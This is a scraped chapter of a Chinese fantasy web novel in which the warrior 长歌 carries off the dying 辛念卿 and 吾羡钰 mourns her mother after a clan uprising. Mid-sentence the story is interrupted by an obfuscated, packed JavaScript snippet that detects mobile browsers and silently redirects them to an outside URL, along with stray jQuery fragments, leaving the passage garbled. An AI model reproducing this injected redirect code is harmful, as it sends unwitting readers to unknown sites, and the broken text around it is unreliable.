默认冷灰
24号文字
方正启体

14. 不速之客

作者:三木卿本书字数:K更新时间:
    那山崖上的男子身高八尺,是个明媚阳光的少年模样。披着半束的长发,额前有苗银抹额装饰,还有些刘海碎发随风飘动着,左右两鬓边各梳着两缕小辫子。


    他左耳带有苗银耳骨夹,身着汉家黑色内衬衣裳,中间夹着一件赤红对襟长袖上衣,外着暗紫色的苗绣对襟半袖外套,腰间束着一条花腰带,右手握着一把带鞘的弯刀。


    看着苍坪山下混战的人众,他淡淡地说了一句:“一场内乱,整个山岭都快毁了。”随后,他便朝苍坪山顶去了。


    经过几轮持续攻打,吾羡钰等人准备发起总攻。此时,山路两侧照明台上燃起的药熏已到一个时辰。


    恢复神志的一群人,见自己竟然在与人真刀真枪地拼杀,便立马放下了手中的武器,有的下跪求饶,有的一脸疑惑不知道自己为什么会出现在这里,有些反应过来的村民喊话道:“我们被大巫和少领主利用了,找他们算账去!”


    于是,一拨村民在一个中年男子的带领下往议事堂冲去。


    见敌人在自己面前下跪直呼好汉饶命,来福也一时摸不着头脑:“这咋回事儿呀?刚刚还一幅要杀了我们的样子,现在他们都直接不干了?”


    吾羡钰看着眼前的情景,也不知道这群人为什么突然恢复了神志停止了攻击。


    这时,声含带着药赶了过来,她对吾羡钰说道:“是安息香起作用了,有人点燃了缓解‘遣将’的药熏。我师父说这香只能暂时抑制‘遣将’,这些药是我师父刚配出来的,可以彻底解除吾时立给他们下的‘遣将’。”


    于是,吾羡钰立刻安排众人就地起营,抢救伤员及分发药材,自己则又带了来福等人往山上赶去。


    此刻,议事堂内空无一人,那持刀少年走到堂屋中,蹲下身看着倒在血泊中的辛念卿及吾时立。他皱了皱眉头,满脸疑惑:“‘共生’怎么会在这里出现?”


    他从怀中拿出一个木盒,把那只从吾时立体内跑出的“共生”装入了其中。而后,他又查看了辛念卿的情况,摇着头一脸不可思议地说:“啧啧,哥们儿对自己下手真狠啊!都伤成这样了。”


    他沾了些地上的血液,在左手掌心中画了一个诡异的符号,而后便将画有符号的左手搭在吾时立的尸体上,闭眼念了一段咒语。


    而后,一只黑虫便从巫杖的铜鼓中爬到他的掌心,这便是吾时立所炼“遣将”之蛊母。


    他仔细观察了一阵这黑虫后,便笑着摇了摇头:“这也能叫‘遣将’,还差得远嘞!”


    刚说完这话,他便握掌将那黑虫捏得粉粹,并将那黑粉随手抛向了空中。


    他扶起已经昏死过去的辛念卿准备往堂外走,但是却被一群赶来的村民拦住了去路。那些村民恶狠狠地看着辛念卿及堂内的吾时立。


    一个领头的村民对这持刀少年喊话:“你不能带他走!你扶的这个人和里面那个人是五蠹岭的罪人,得交由我们五蠹岭的人处置,就算是死了,我们也要把他们大卸八块!”


    “交给谁处置啊?”这持刀少年一脸不屑地看着拦路的人众,“现在,你们五蠹岭领主、大巫全都没了。再耽误一会儿,你们少领主也没了!而且,你们大巫做的事关他少领主屁事啊!这个人我得带走。让开,别挡道啊,慢一步,他就得死得透透的了,我回去就没法给我家老头交代了!”


    那些村民依然拦着他不让路:“你是谁?你要带他去哪?”


    这少年不耐烦地答了一句:“蚩尤部,长歌。”


    听到这个答案,堂外的村民一下子喧哗了起来:“竟然是蚩尤部的人……”


    众人都感到不可思议,但那领头的村民还是执意不肯放人走。


    见状,原本一脸漫不经心的长歌突然失去了耐心,他严肃地说道:“我要走,你们谁也拦不住!”


    说完此话,众村民感到了长歌身上的腾腾杀气。霎时,议事堂的门窗都被巨大的内力冲开了,众人纷纷被逼得后退,长歌便带着辛念卿飞速离去了……


    不一会儿,吾羡钰等人赶到了议事堂外。


    吾羡钰看到躺在血泊中的吾时立,她认得插在他脖颈上的那把刀,那是辛念卿的佩刀,她便猜到应该是辛念卿反杀了吾时立。


    “辛念卿呢?他在哪?”吾羡钰询问先到的村民。


    “他被蚩尤部一个叫长歌的人带走了。”


    “怎么会是蚩尤部的人?”吾羡钰也有些震惊。


    来福等人搜查完苍坪山后,对吾羡钰说道:“水牢里和塘壁洞内都关着吾时立的人,他们都是被谁关进去的?”


    那带头的村民说:“难道也是蚩尤部的人干的?五蠹岭这次能这么快结束内乱,是不是蚩尤部的人暗中帮忙啊?”


    吾羡钰闻着空气中残留的安息香,虽然这味道中混杂着血腥味,但她闻出了这就是辛念卿前些日子送给她的那种药熏。联系最近发生的种种,让她更加难受,心中五味杂陈。她知道辛念卿应该是早就察觉到了吾时立的阴谋,并一直守在吾时立身边等待时机反制。


    “辛念卿他怎么样了?”吾羡钰焦急地问。


    “伤得很重,应该活不了了,作孽啊!……”


    听言,吾羡钰很是担忧。但想到带走他的人,是蚩尤部的人,便心存了一丝侥幸。毕竟蚩尤部高手如林,或许有能救治他的人……


    声含来到吾羡钰身边,道:“羡钰,现在天气炎热,我给领主和竞秋阿嬢等人用了些药,可以保证她们的尸身一个月内不会有什么变化。”


    吾羡钰泪水瞬间决堤,声含这句话,让她再次确认母亲和姑姑已经离开她了……


    吾羡钰哭泣了一阵后,崩溃地问道:“声含阿姐,你说安息香可以抑制大巫的‘遣将’,而这个香之前辛念卿就给我送过。所以,他根本不是被大巫操纵着让我阿娘她们服下的毒药,他分明是清醒地知道自己在干什么啊?”


    声含一时也不知道该如何安慰吾羡钰,毕竟面对这样的人生变故,对于任何人来说,都是让人崩溃的事。


    她只给吾羡钰回话说:“辛念卿在给领主她们送去毒药前,私下来问过我关于枯荣丸的解药。我刚刚进去查看过,领主她们中的不是枯荣丸之毒,而是与枯荣丸解药玉岐散相作用的石芢丸之毒。辛念卿他是被吾时立利用了。羡钰,剩下的事就交给你了。”


    随后,声含便给院中的伤员们上药


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165291|196682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去了。


    听了声含的话,吾羡钰又回想着这几天的事,在凌乱的回忆中,她理出了些眉目。她知道自己错怪了辛念卿,辛念卿也没有背叛五蠹岭……


    吾羡钰楞在了原地,两行泪水无声地流着。


    “阿姐!”赶来的冷泉钦唤了一声吾羡钰。


    “阿弟……”听见身后传来弟弟的声音,吾羡钰一回头,感觉自己双脚已经瘫软,冷泉钦赶紧扶住了她。


    吾羡钰紧紧地抱住弟弟,再也抑制不住内心的悲伤,放声痛哭了出来。


    “阿弟,你和我都没有娘亲了。以后,家中就只剩下我们俩了……”


    苍坪山上的人看着这内乱之后死尸遍地的五蠹岭,以及相拥而泣无依无助的姐弟俩,都沉默不言,不少村民也跟着默默流泪,哭泣声回荡在院中。


    曾经宁静祥和的五蠹岭,在短短几天之间,堕入了人间炼狱……


    九黎城洛水河畔,长歌带着负伤昏迷的辛念卿与两名身着黑色斗篷的男子汇合。


    长歌道:“五蠹岭所用‘遣将’尚不成熟,危机已解。”


    见那两名男子又盯着辛念卿,长歌便又开口道:“这人,是奉三长老之命带回的。”


    听言,两人终于放行。


    摆尧洞内,雾气缭绕,灯火昏暗。一个身着藏青色道袍的老道士正在洞内蕤冰潭旁打坐。


    “玄漓老头,你要的人我给你带回来了。”


    长歌将辛念卿放于那老道人面前,喘了口气后,才仔细打量了一番他背回的这人:“伤得太重,浑身经脉都被震断了,怕是活不成了。”


    见他还有微弱的气息,长歌感概道:“这人还挺厉害,伤得那么重,一口气都还能撑到现在。心中应是还有未了之事,或者,还有想见的人吧……”


    玄漓看着浑身血迹斑斑的辛念卿,眉头紧蹙,一言不发。


    长歌笑了笑,道:“这人体魄异于常人,要是以‘遣将’术操控,他应该可以成为我手下以一敌百的猛将。”


    玄漓瞪了长歌一眼,并用眼神余光扫了一下身旁的蕤冰潭。


    长歌得令后,便将辛念卿扔进了潭中。原本碧绿的潭水,渐渐变得暗红。


    蕤冰潭深不见底,辛念卿在不断下沉。摆尧洞内开始回荡着玄漓道人幽幽的吟诵声:


    “世路何求?重山迟留。忘却营营,曾误扁舟。


    是进也白头,退也白头,进退皆为愁。


    万山云暗,一灯孤寂。风来谁泣,难舍金瓯。


    总生时忧忧,去时忧忧,生死两难休……”


    ……


    一声闷响后,便是一阵刺骨的寒冷,辛念卿微微睁开了眼,看着水岸光亮越来越暗,头顶那片朦胧的波光渐渐汇成了吾羡钰的笑脸,但是耳畔却是她悲痛的斥责声:


    “辛念卿,我一直以为不论发生什么,你都会坚定地站在我这一边……”


    入水的窒息和浑身尖锐的痛楚,随着视野中最后一点光亮的消失,钝化为了一阵遥远的嗡鸣。


    “羡钰……”


    (注:文中未标明出处的古诗词、文言文等,均为笔者自撰,若有引用请注明出处。)
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)